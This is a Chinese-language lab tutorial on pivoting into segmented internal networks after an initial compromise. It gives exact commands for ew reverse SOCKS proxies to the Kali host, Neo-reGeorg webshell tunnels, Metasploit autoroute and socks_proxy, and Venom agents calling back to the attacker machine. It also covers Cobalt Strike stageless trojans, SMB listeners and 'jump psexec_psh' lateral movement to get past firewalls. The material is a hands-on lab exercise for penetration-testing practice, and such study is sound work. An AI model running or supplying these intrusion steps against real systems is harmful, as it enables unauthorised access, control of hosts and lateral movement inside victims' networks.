一、概念
简单的来说就是一共A,B,C三台主机,A主机可以和B主机通信,B主机和C主机可以通信,但是A和C不能通信,我们此时就可以让B主机充当一个中转,然后B作为一个代理服务器,我们A主机的流量转发到B主机,B主机再转发到C主机,从而实现A主机和C主机的访问
二、实验
1.实验环境的配置

整个网络拓补图如图所示,
这里我们的环境如下
攻击机:kali(192.168.68.128)
windows2003:我们使用win7代替,同时也开启一个web服务,用小皮面板(192.168.68.135,10.10.10.10)
win7(10.10.10.110;20.20.20.20)防火墙只允许80端口
win10(20.20.20.200)只允许smb的445端口
2.工具的使用
(这里我们假设已经通过msf等工具的漏洞拿下了控制权)不同的工具代表着不同的方法,灵活运用
1.ew的使用
我们先在msf的meterpreter中上传ew
upload -r /root/ew.exe C:\\Users\\admin\\Downloads进入shell
shell正向代理:
win2003(kali控制的meterpreter控制台中)
ew -s ssocksd -l 8888这里我们使用正向代理,那么proxifier中的服务器地址和端口就写win2003的,反向代理写kali的
反向代理:
kali端:
ew -s rcsocks -l 1080 -e 7777win2003端(kali控制的meterpreter)
ew -s rssocksd -d 192.168.68.128 -l 7777注意,先启动kali端,在启动win2003端,正向代理和反向代理根据情况选择
然后在proxifier中添加代理,代理通过才可以访问第一层内网

此时我们浏览器访问win2003的10.10.10.10发现可以成功访问

2.Neo-reGeorg+Proxifier
我使用的是这个项目的脚本https://github.com/L-codes/Neo-reGeorg
生成代理脚本,-k后面的test是我设置的密码,可以自由修改,(如果运行失败,先安装一下依赖,参考项目说明)
python neoreg.py generate -k test把生成的项目脚本上传到服务器目录,根据技术栈选择对应脚本,然后启动代理,使用设置的密码,设置代理端口,-u是服务器的代理脚本链接
python neoreg.py -p 9999 -k test -u http://192.168.68.135/tunnel.php可以在浏览器代理插件或者proxifier设置代理就可以访问10.10.10.10靶机了

3.Cobalt Strike代理转发上线
这个方法就比较简单了,但是经常掉线,主要适用于拿到了链接外网的服务器的控制权,提权后的使用,使用带S的payload生成木马然后直接上传到目标靶机就可以使用了,这里我就跳过木马生成的步骤了
然后客户端运行木马上线,设置代理转发

点击socks代理,然后选择socks5,点击启动,在proxifier上配置代理,地址是cobalt strike的服务端的ip,端口选择设置的端口

然后就可以访问第一层内网了
4.MSF路由模块
首先msf连接木马进入meterpreter,执行
查看当前路由
run autoroute -p添加路由
run post/multi/manage/autoroute
把会话挂后台 background
调用msf
use auxiliary/server/socks_proxy option中有个SRVPORT可以自由设定,我选择默认
启动代理
run auxiliary/server/socks_proxy 
配置代理,访问成功

5.venom的使用
这个工具其实和ew效果一样,只不过他的功能更强,可以创建多层代理,端口复用,更为隐蔽
项目地址:https://github.com/Dliv3/Venom/
首先把agent端上传到win2003,admin端上传到kali
kali端监听:admin -lport 7878
win2003进入上传的目录执行:agent -rhost 192.168.68.128 -rport 7878
连接成功后kali显示:
[+]Remote connection: 192.168.68.135:49786
[+]A new node connect to admin node success我们输入list查看连接id,查到id是1
输入goto 1进入连接,输入socks 9898显示
a socks5 proxy of the target node has started up on the local port 9898.我们在kali端测试访问curl -x socks5h://127.0.0.1:9898 http://10.10.10.10
成功返回网页内容!
进阶使用:多层代理
用venom可以实现多层代理,最终kali可以直接通过代理访问win10,本质就是把流量通过层层代理不断转发
kali启动服务端:admin -lport 9999
win2003:agent.exe -rhost <Kali_IP> -rport 9999
win2003上线后,kali的admin控制台执行show-->goto 1 -->listen 8888
win7:agent.exe -rhost 10.10.10.10 -rport 8888
kali的admin控制台:goto 2 --> socks 6767
检验:
这里我在20.20.20.20上放了一个网页,kali的终端输入,
curl -x socks5h://127.0.0.1:6767 http://20.20.20.20有响应,代理成功
三、最终效果实现
这里只展示代理的使用,把木马直接上传到目标,中间的过程比较复杂,先省略
突破win7防火墙,上线win7
我们先用cobalt strike生成一个payload为stageless的exe文件,然后通过webshell等手段上传到win2003运行,成功上线

随后右键会话选择转发上线,起一个名字即可,这样针对win7的监听器就创建好了
然后在创建一个stageless的exe,监听器选择刚刚创建的,点击generate并保存木马

传到win7并运行就可以成功上线了
突破win10防火墙,上线win10
新建一个smb协议的监听器,然后生成一个stageless的exe,监听器选择刚刚创建的smb协议的监听器

把生成的payload在cs中上传到win10
1. 使用 jump psexec_psh 20.20.20.200 win1012
2. Win10作为SMB客户端连接Win7,绕过入站限制
此时,win7和win2003会在cobalt strike上掉线两次,然后win10就成功上线了
